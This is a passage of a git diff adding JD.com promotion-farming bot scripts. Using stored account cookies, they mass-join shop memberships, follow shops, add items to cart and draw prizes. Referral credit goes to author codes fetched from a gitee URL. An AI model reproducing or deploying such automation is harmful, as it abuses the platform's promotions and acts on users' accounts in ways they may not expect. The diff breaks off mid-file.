(cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + $.appkey = "51B59BB805903DA4CE513D29EC448375" + $.userId = "10299171" + $.actId = "2c5156ff82714_11013" + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + console.log('去助力 -> '+$.authorCode); + await openCardNew(); + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function openCardNew() { + $.token = null; + $.buyerNick = null; + $.activityInfo = null; + await getToken(); + if ($.token) { + await task('activity_load', { + "actId": $.actId, + "inviteNick": $.authorCode, + "jdToken": $.token, + "source": "01", + }) + if ($.buyerNick) { + console.log('1.助力码 -> '+$.buyerNick) + if ($.index === 1) { + ownCode = $.buyerNick + console.log("后面的将给这个助力码助力 -> "+ownCode) + } + console.log('2.绑定助力 ->') + await task('complete/mission', { + "actId": $.actId, + "missionType": "relationBind", + "inviterNick": $.authorCode, + }) + await task('shopList', { + "actId": $.actId, + }) + console.log('3.关注店铺 ->') + await task('complete/mission', { + "actId": $.actId, + "missionType": "uniteCollectShop", + }) + console.log('4.抽奖 ->') + await task('draw/post', { + "actId": $.actId, + "usedGameNum": "2", + "dataType": "draw", + }) + console.log('5.加入会员 ->') + if ($.shopList) { + console.log('会员卡数量 -> '+$.shopList.length) + for (const vo of $.shopList) { + $.log(`${vo.userId}`) + if (!vo.open) { + $.log("开通会员") + await getShopOpenCardInfo(vo.userId) + await bindWithVender(vo.userId) + await task('complete/mission', { + "actId": $.actId, + "shopId": vo.userId, + "missionType": "openCard", + }) + await $.wait(3000) + } else { + $.log("已经是会员了") + } + await $.wait(500) + } + } + console.log('6.加入购物车 ->') + await task('complete/mission', { + "actId": $.actId, + "missionType": "uniteAddCart", + }) + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +function task(function_id, preParams) { + body = { + "jsonRpc": "2.0", + "params": { + "commonParameter": { + "appkey": $.appkey, + "m": "POST", + "timestamp": new Date(), + "userId": $.userId + }, + "admJson": { + "method": `/openCardNew/${function_id}`, + "userId": $.userId, + "buyerNick": $.buyerNick ? $.buyerNick : "" + } + } + } + Object.assign(body.params.admJson, preParams) + return new Promise(resolve => { + $.post(taskUrl(function_id, body), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.success) { + if (data.data.status === 200) { + switch (function_id) { + case 'activity_load': + $.buyerNick = data.data.data.buyerNick; + console.log("[ "+data.data.data.cusActivity.actName+" ]"); + break; + case 'shopList': + $.shopList = data.data.data.cusShops; + break; + case 'complete/mission': + console.log(data.data.data.remark); + break; + case 'draw/post': + console.log(data.data.data.awardSetting.awardName); + break; + default: + break; + } + } + } + + } else { + $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function getShopOpenCardInfo(venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify({ venderId: venderId, channel: 401 }))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent('https://jinggengjcq-isv.isvjcloud.com/fronth5')}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function bindWithVender(venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify({ "venderId": venderId, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "channel": 401 }))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent('https://jinggengjcq-isv.isvjcloud.com/fronth5')}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + console.log("开卡成功") + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function taskUrl(function_id, body) { + return { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/openCardNew/${function_id}?&mix_nick=${$.buyerNick ? $.buyerNick : ""}`, + headers: { + Host: 'jinggengjcq-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/json; charset=utf-8', + Origin: 'https://jinggengjcq-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: 'https://jinggengjcq-isv.isvjcloud.com/fronth5/', + Cookie: cookie + }, + body: JSON.stringify(body) + + } +} + +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getAuthorCodeList(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + $.logErr(e, resp) + data = null; + } finally { + resolve(data); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_jinggengjcq_dapainew4.js b/backUp/jd_jinggengjcq_dapainew4.js new file mode 100644 index 0000000..41d9730 --- /dev/null +++ b/backUp/jd_jinggengjcq_dapainew4.js @@ -0,0 +1,537 @@ +/* +https://jinggengjcq-isv.isvjcloud.com/fronth5/#/pages/unitedCardNew2021110105/unitedCardNew2021110105?actId=65fcf625b7c7_11015 +*/ +const $ = new Env("大牌联合"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +const cp = $.isNode() ? require('child_process') : ''; +let cookiesArr = [], cookie = '', message = ''; +const Base64 = require("js-base64") +let ownCode = null; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/jinggengjcq_dapainew.json') + if(authorCodeList === '404: Not Found'){ + authorCodeList = [ + 'fuMB6t0LHdtq7Dc8pm+TwF4tLNYA4seuA67MOIYQxEk3Vl9+AVo4NF+tgyeIc6A6kdK3rLBQpEQH9V4tdrrh0w==', + ] + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + 